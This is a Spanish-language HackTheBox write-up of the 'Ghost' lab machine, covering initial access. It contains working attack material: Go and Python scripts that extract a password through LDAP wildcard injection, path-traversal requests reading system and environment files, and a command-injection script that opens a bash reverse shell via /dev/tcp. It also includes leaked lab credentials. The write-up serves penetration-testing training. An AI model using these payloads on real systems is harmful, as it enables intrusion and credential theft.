Ghost – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Insane / Insana
- Platform / Plataforma: HackTheBox
Sinopsis Link to heading
“Ghost” es una máquina de dificultad Insana de la plataforma HackTheBox
. Esta máquina se enfoca en cómo explotar una versión customizada de Ghost CMS
la cual permite leer archivos a un atacante (Local File Inclusion
); esto desencadena en una ejecución remota de comandos por una función mal sanitizada. La máquina además enseña a performar otros ataques como LDAP Injection
, modificar records de DNS
para envenenar peticiones, performar Golden SAML Attack
para bypassear un login de Active Directory Federation Services
(AD FS
) al impersonar un usuario Administrator
, ejecución de código en servicio MSSQL
y Trust Forest Attacks
en un entorno Active Directory
.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
muestra múltiples puertos abiertos: 53
Domain Name System
(DNS
), 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 443
y 8008
HTTPs
, 445
Server Message Block
(SMB
), 1433
Microsoft SQL Server
(MSSQL
), 5895
Windows Remote Management
(WinRM
); entre otros:
❯ sudo nmap -sVC -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49672,49680,63401,63446,63916 10.10.11.24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 04:36 -03
Nmap scan report for ghost.htb (10.10.11.24)
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-28 07:36:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-ntlm-info:
| 10.10.11.24:1433:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
|_ Product_Version: 10.0.20348
|_ssl-date: 2024-09-28T07:38:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-09-28T07:13:17
|_Not valid after: 2054-09-28T07:13:17
| ms-sql-info:
| 10.10.11.24:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-06-16T15:49:55
|_Not valid after: 2024-12-16T15:49:55
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2024-09-28T07:37:54+00:00
|_ssl-date: 2024-09-28T07:38:31+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after: 2124-05-25T15:14:02
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
63401/tcp open msrpc Microsoft Windows RPC
63446/tcp open msrpc Microsoft Windows RPC
63916/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-09-28T07:38:00
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.99 seconds
Del escaneo podemos ver que tenemos un dominio: ghost.htb
. Podemos ver también ver un Domain Controller (DC01.ghost.htb
). En el puerto 8443
tenemos un subdominio core.ghost.htb
. Por lo que suponemos que estamos ante un entorno Active Directory
.
Agregamos este dominio a nuestro archivo /etc/hosts
ejecutando:
❯ echo '10.10.11.24 ghost.htb DC01.ghost.htb core.ghost.htb' | sudo tee -a /etc/hosts
Visitando los puertos 80
HTTP
y 443
HTTPs
no muestra página web alguna. También hay una página web HTTPs
en el puerto 8008
, pero no somos capaces de obtener información. Finalmente, visitando la página en el puerto 8443
muestra algo:
Clickeando en Login using AD Federation
redirige al dominio federation.ghost.htb
. Agregamos este nuevo dominio a nuestro archivo /etc/hosts
. Una vez agregado, revisitamos la página y tenemos:
Pero credenciales simples y típicas no funcionan aquí.
Aparentemente, este es un panel de login para Active Directory Federation
:
Active Directory Federation Services
(AD FS
) is a single sign on (SSO
) feature developed by Microsoft
that provides safe, authenticated access to any domain, device, web application or system within the organization’s Active Directory
(AD
), as well as approved third-party systems.Es una herramienta para agregar sistemas/dispositivos de terceros a un entorno AD
.
Visitando http://ghost.htb:8008
muestra una especie de blog:
Podemos leer el texto Powered by Ghost
. Buscando what is ghost org
retorna:
Ghost
is an open source content management system (CMS
) platform written in JavaScript
and distributed under the MIT License, designed to simplify the process of online publishing for individual bloggers as well as online publicationsEn resumen, Ghost CMS
es un Content Management System
como lo puede ser Joomla
, WordPress
, entre otros. De momento no hallamos información útil en el sitio, pero volveremos a éste luego.
Volviendo a ver el output del escaneo con Nmap
para el puerto 8008
, podemos ver que el escaneo detectó la existencia de un archivo /robots.txt
; el cual revisando su contenido tiene:
❯ curl -s http://ghost.htb:8008/robots.txt
User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/
Visitando http://ghost.htb:8008/ghost
redirige a http://ghost.htb:8008/#/signin
, un nuevo panel de login:
Buscando por nuevos subdominios que pudiesen estar aplicando vhosting
para el puerto 8008
con ffuf
nos lleva a:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ghost.htb:8008/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.ghost.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7676
________________________________________________
intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 221ms]
:: Progress: [4989/4989] :: Job [1/1] :: 22 req/sec :: Duration: [0:02:42] :: Errors: 2 ::
Tenemos un (nuevo) subdominio: intranet.ghost.htb
. Como ya es usual, agregamos este subdominio a nuestro archivo /etc/hosts
.
Una vez agregado, visitamos http://intranet.ghost.htb:8008/
y podemos ver otro panel de login:
(¿Cuántos paneles de login tiene esta máquina? D:)
Credenciales por defecto típicas tampoco funcionan en este panel. Interceptando la petición enviada cuando intentamos loguear a este último panel con Burpsuite
nos da:
POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------416026015933733900362518892273
Content-Length: 436
Origin: http://intranet.ghost.htb:8008
DNT: 1
Connection: close
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-username"
usertest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-secret"
passtest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="0"
[{},"$K1"]
-----------------------------416026015933733900362518892273--
Los parámetros solicitados para usuario y contraseña (o secret
) son 1_ldap-username
y 1_ldap-secret
, respectivamente. Basados en el nombre de las variables, puede ser que este panel sea vulnerable a LDAP Injection
. Viendo instrucciones de cómo bypassear logins con LDAP Injections en HackTricks, podemos usar como username
un wildcard (caracter *
) y como “secret” también usar un wildcard (*
). Por lo que pasamos tanto a usuario como secret el caracter *
. Haciendo esto en el panel de login funciona. Estamos dentro del panel como el usuario kathryn.holland
:
Hay información acerca de una cuenta temporal llamada gitea_temp_principal
:
Git Migration
We are currently migrating Gitea to Bitbucket.
Domain logins to Gitea have been disabled.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
We can't post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.
Para ver si el usuario gitea_temp_principal
existe nos deslogueamos del panel y ponemos como usuario gitea_temp_principal
y secret *
. Esto nos permite loguearnos como este nuevo usuario (como se puede ver en el texto del lado superior derecho del panel al loguear), pero no vemos nada nuevo que no hayamos visto con el usuario previo. Quizás, dado que hay un usuario llamado gitea_temp_principal
, existe en alguna parte un subdominio gitea
o bitbucket
(ya que esta máquina tiene bastantes subdominios). Para ello creamos una simple lista con algunos subdominios válidos y otros falsos para así filtrar por falsos positivos y revisar si estos subdominios realmente existen nuevamente usando ffuf
:
❯ cat templist.txt
test
test1
test2
test3
gitea
bitbucket
test4
❯ ffuf -w ./templist.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676 -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ghost.htb:8008/
:: Wordlist : FUZZ: /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/content/templist.txt
:: Header : Host: FUZZ.ghost.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7676
________________________________________________
gitea [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 176ms]
:: Progress: [7/7] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
El subdominio gitea.ghost.htb
existe para el puerto 8008
.
Agregando este nuevo subdominio a /etc/hosts
y visitando luego http://gitea.ghost.htb:8008/
muestra un simple panel de Gitea
:
Pero no somos capaces ni de crear un usuario, ni de ver repositorios “públicos” o que estén expuestos sin necesidad de una cuenta. Por lo que podríamos necesitar las credenciales del usuario gitea_temp_principal
para acceder.
Similar a como hicimos para la máquina HTB Analysis, podemos crear un script en Python
o Go
abusando de la LDAP Injection
(en mi caso creé un script para ambos lenguajes porque quería practicar Go
) y extraer credenciales para este usuario. ¿Cómo? Supongamos que la contraseña para un usuario conocido es securepa55w0rd
. En una LDAP Injection
podemos loguearnos dando el usuario correcto y la contraseña s*
, o secure*
, o securepa*
y esto va a funcionar. Por el contrario, si pasamos a*
, o anything*
, o secureaaaa*
como contraseña/secret esto no va a funcionar. Esto es similar a como las wildcards (*
) funcionan en Linux
. Además, cuando la contraseña es inválida el sitio web retorna el texto Invalid combination of username and secret
. Cuando pasamos una contraseña parcialmente correcta (como el caracter *
solo), aquel texto no está presente. Por lo que la presencia (o ausencia) de ese texto es la condición que nos dice si la contraseña es válida o no y podemos ir probando caracter a caracter de ésta.
Para ello usamos el script en Go
:
//usr/bin/go run $0 $@ ; exit
package main
import (
"bytes"
"compress/gzip"
"fmt"
"io"
"mime/multipart"
"net/http"
"strings"
)
// Function to send HTTP POST request with a custom ldapSecret
func sendPostRequest(ldapSecret string) (string, error) {
// Create a buffer to hold the body
var body bytes.Buffer
writer := multipart.NewWriter(&body)
// Set the boundary manually
boundary := "---------------------------25210098721522078059643854455"
writer.SetBoundary(boundary)
// Add form fields
writer.WriteField("1_ldap-username", "gitea_temp_principal")
writer.WriteField("1_ldap-secret", ldapSecret+"*")
writer.WriteField("0", `[{},"$K1"]`)
// Close the writer to finalize the multipart body
writer.Close()
// Create the request
req, err := http.NewRequest("POST", "http://intranet.ghost.htb:8008/login", &body)
if err != nil {
return "", fmt.Errorf("error creating request: %v", err)
}
// Add headers
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0")
req.Header.Set("Accept", "text/x-component")
req.Header.Set("Accept-Language", "en-US,en;q=0.5")
req.Header.Set("Accept-Encoding", "gzip, deflate, br")
req.Header.Set("Referer", "http://intranet.ghost.htb:8008/login")
req.Header.Set("Next-Action", "c471eb076ccac91d6f828b671795550fd5925940")
req.Header.Set("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
req.Header.Set("Origin", "http://intranet.ghost.htb:8008")
req.Header.Set("DNT", "1")
req.Header.Set("Connection", "close")
// Send the request
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return "", fmt.Errorf("error sending request: %v", err)
}
defer resp.Body.Close()
// Check for compressed content
var reader io.ReadCloser
switch resp.Header.Get("Content-Encoding") {
case "gzip":
reader, err = gzip.NewReader(resp.Body)
if err != nil {
return "", fmt.Errorf("error creating gzip reader: %v", err)
}
defer reader.Close()
default:
reader = resp.Body
}
// Read and return the decompressed response
respBody, err := io.ReadAll(reader)
if err != nil {
return "", fmt.Errorf("error reading response: %v", err)
}
return string(respBody), nil
}
func main() {
// Possible password characters
var charmap = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#$%&/¿?¡!"
fmt.Println("[+] Extracting password/secret")
secret := ""
passwordFound := false
// Start bruteforcing
for !passwordFound {
for _, char := range charmap {
// Send HTTP Request
currentTry := secret + string(char)
response, err := sendPostRequest(currentTry)
fmt.Printf("\r[+] Attempting with password/secret: %s", currentTry)
// Check if we have errors in the request
if err != nil {
fmt.Println("Error:", err)
return
}
// Check if "Invalid combination" is in the response
if !strings.Contains(response, "Invalid combination") {
secret += string(char)
break
} else {
// If we are in the last character and it is not valid, we have ended
if string(char) == "!" {
passwordFound = true
break
}
continue
}
}
}
// Did we find the password? D:
if len(secret) == 0 {
fmt.Println("\n[-] Unable to find password.")
} else {
fmt.Println("\n[+] Password found: ", secret)
}
}
O, para aquellos que prefieran Python
, también hice este script que hace exactamente lo mismo:
#!/usr/bin/python3
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
from pwn import log
from sys import exit as sys_exit
charmap = list(string.digits + string.ascii_letters + '!@#$%&/=¿?¡!')
def make_HTTP_request(secret_to_inject: str):
# Set parameters
url: str = "http://intranet.ghost.htb:8008/login"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/x-component",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": "http://intranet.ghost.htb:8008/login",
"Next-Action": "c471eb076ccac91d6f828b671795550fd5925940",
"Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
"Content-Type": "multipart/form-data; boundary=---------------------------25210098721522078059643854455",
"Origin": "http://intranet.ghost.htb:8008",
"DNT": "1",
"Connection": "close"
}
# Define the same multipart structure using requests_toolbelt's MultipartEncoder
multipart_data = MultipartEncoder(
fields={
"1_ldap-username": "gitea_temp_principal",
"1_ldap-secret": f"{secret_to_inject}*", # LDAP Injection
"0": '[{}, "$K1"]'
},
boundary='---------------------------25210098721522078059643854455'
)
headers["Content-Type"] = multipart_data.content_type
return requests.post(url, headers=headers, data=multipart_data.to_string())
secret: str = ''
log.info('Extracting secret/password...')
p1 = log.progress("Secret")
while True:
for char in charmap:
attempt = f"{secret}*"
p1.status(f"{secret}{char}")
r = make_HTTP_request(secret+char)
if not 'Invalid combination' in r.text:
secret += char
break
if r.status_code == 200 and ('Invalid combination of username and secret' in r.text):
continue
if r.status_code == 200:
print(f"[-] Weird response: {r.text!r}")
continue
else:
break
if len(secret) == 0:
p1.failure('No password recovered :(')
sys_exit(1)
p1.success(f"Password found: {secret}")
Ejecutando cualquiera de estos scripts, luego de algún tiempo, nos da:
❯ go run main.go
[+] Extracting password/secret
[+] Attempting with password/secret: szrr8kpc3z6onlqf!
[+] Password found: szrr8kpc3z6onlqf
Tenemos una contraseña: gitea_temp_principal:szrr8kpc3z6onlqf
Si usamos las credenciales en la página de Gitea
funcionan. Estamos dentro:
Podemos ver 2 repositorios: blog
e intranet
.
Analizando los archivos para intranet
, más específicamente para el directorio backend
, somos capaces de ver la porción de código escrita en Rust
en el archivo:
http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs
cuyo contenido es:
use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};
pub(crate) mod scan;
pub struct DevGuard;
#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
type Error = ();
async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
let key = request.headers().get_one("X-DEV-INTRANET-KEY");
match key {
Some(key) => {
if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
Outcome::Success(DevGuard {})
} else {
Outcome::Error((Status::Unauthorized, ()))
}
},
None => Outcome::Error((Status::Unauthorized, ()))
}
}
}
El código está revisando el header/cabecera X-DEV-INTRANET-KEY
de una petición y la compara con el valor de una variable de entorno llamada DEV_INTRANET_KEY
. Si la key es válida (son iguales), entonces ésta usa el struct llamado DevGuard
. De manera que el valor correcto de la cabecera X-DEV-INTRANET-KEY
nos permite acceder al struct DevGuard
.
Buscando por DevGuard
en el repositorio Intranet
nos lleva al archivo:
http://gitea.ghost.htb:8008/ghost-dev/intranet/raw/branch/main/backend/src/api/dev/scan.rs
cuyo contenido es:
use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
is_safe: bool,
// remove the following once the route is stable
temp_command_success: bool,
temp_command_stdout: String,
temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
match result {
Ok(output) => {
Json(ScanResponse {
is_safe: true,
temp_command_success: true,
temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
})
}
Err(_) => Json(ScanResponse {
is_safe: true,
temp_command_success: false,
temp_command_stdout: "".to_string(),
temp_command_stderr: "".to_string(),
})
}
}
Este código define un endpoint (/api-dev/scan
) para escanear URLs en los posts del blog, luego de que la petición del escaneo haya pasado la condición que vimos en el código anterior (que el header X-DEV-INTRANET-KEY
tenga el valor correcto). La parte importante y sensible aquí es la porción de código bash -c intranet_url_check {data.url}
dado que está ejecutando el campo url
de la data llamada data
(que debe estar en formato JSON
) sin sanitizar, por lo que es vulnerable a inyección de comandos (command injection).
De momento, hemos encontrado una potencial vía de inyectar código. No obstante, todavía necesitamos un valor correcto de la key para acceder al permiso con DevGuard
. Hurgando en estos repositorios, podemos ver que el repositorio blog
tiene un archivo JavaScript
llamado post-public.js
. Una de sus líneas muestra algo interesante:
<SNIP>
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
<SNIP>
El parámetro fileContent
, que se muestra para desplegar archivos, no está sanitizado y está siendo llamado por medio del parámetro extra
. Por lo que podemos intentar un Local File Inclusion
para leer archivos del sistema y, quizás, este método pueda ser usado para leer el valor de la variable de entorno DEV_INTRANET_KEY
.
Volvemos a la página http://ghost.htb:8008
. Usamos Burpsuite
para interceptar la petición al entrar al blog y hacemos click en Forward
hasta que podamos ver el único post que está disponible:
Luego, con el Intercept
en activado (en modo ON
), clickeamos en la lupa al lado superior derecho. Obtenemos así la petición:
OPTIONS /ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/embarking-on-the-supernatural-journey-welcome-to-ghost/
Origin: http://ghost.htb:8008
DNT: 1
Connection: close
La petición tiene una key: 37395e9e872be56438c83aaca6
y un endpoint a la API /ghost/api/content/posts/
.
Podemos intentar usar esta key junto con la información hallada en el archivo .js
en el repositorio blog
en Gitea
para tratar de extraer algunos datos:
❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../etc/passwd'
<SNIP>
{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../etc/passwd":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n"}}}
Funcionó. Podemos leer archivos del sistema.
Para tratar de leer variables de entorno podemos tratar de leer el archivo /proc/self/environ
:
❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../proc/self/environ' | sed 's/\\u0000//g'
<SNIP>
":{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../proc/self/environ":"HOSTNAME=26ae7990f3dddatabase__debug=falseYARN_VERSION=1.22.19PWD=/var/lib/ghostNODE_ENV=productiondatabase__connection__filename=content/data/ghost.dbHOME=/home/nodedatabase__client=sqlite3url=http://ghost.htbDEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xedatabase__useNullAsDefault=trueGHOST_CONTENT=/var/lib/ghost/contentSHLVL=0GHOST_CLI_VERSION=1.25.3GHOST_INSTALL=/var/lib/ghostPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE_VERSION=18.19.0GHOST_VERSION=5.78.0"}}}
Vemos algo interesante: DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
.
Esta es la key que debemos de usar contra la ruta/API /api-dev/scan
para el sitio intranet.ghost.htb:8008
. Podemos usar el siguiente simple código de Python
para obtener una reverse shell abusando de la falla de configuración en el struct DevGuard
:
#!/usr/bin/python3
import requests
import argparse
parser = argparse.ArgumentParser(description='Revshell')
parser.add_argument('ip', type=str, help='IP to connect')
parser.add_argument('port', type=int, help='Listening port with "nc"')
args = parser.parse_args()
api_url = "http://intranet.ghost.htb:8008/api-dev/scan"
headers = {
"X-DEV-INTRANET-KEY": '!@yqr!X2kxmQ.@Xe', # Header used to access 'DevGuard' struct
"Content-Type": "application/json"
}
data = {
"url": f"; bash -c 'bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'" # Command injection
}
print("[+] Sending payload...")
requests.post(api_url, headers=headers, json=data)
Empezamos un listener con nc
por el puerto 443
y ejecutamos el script:
❯ python3 connect_to_machine.py 10.10.16.5 443
[+] Sending payload...
y obtenemos una conexión como el usuario root
(claramente en un container de Docker
):
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.24] 49818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app# whoami
whoami
root
Podemos así subir el binario de la herramienta pspy
(descargable desde su repositorio de Github) al container para ver procesos corriendo de fondo. Realizando esto eventualmente retorna:
root@36b733906694:/app# chmod +x /tmp/pspy64
root@36b733906694:/app# /tmp/pspy64
<SNIP>
2024/09/29 09:34:01 CMD: UID=0 PID=1576 | runc init
2024/09/29 09:34:01 CMD: UID=0 PID=1581 | sshpass -p xxxxxxxxxxxxxxxx ssh -o StrictHostKeyChecking no florence.ramirez@ghost.htb@dev-workstation echo 'uxLmt*udNc6t3HrF' | kinit
<SNIP>
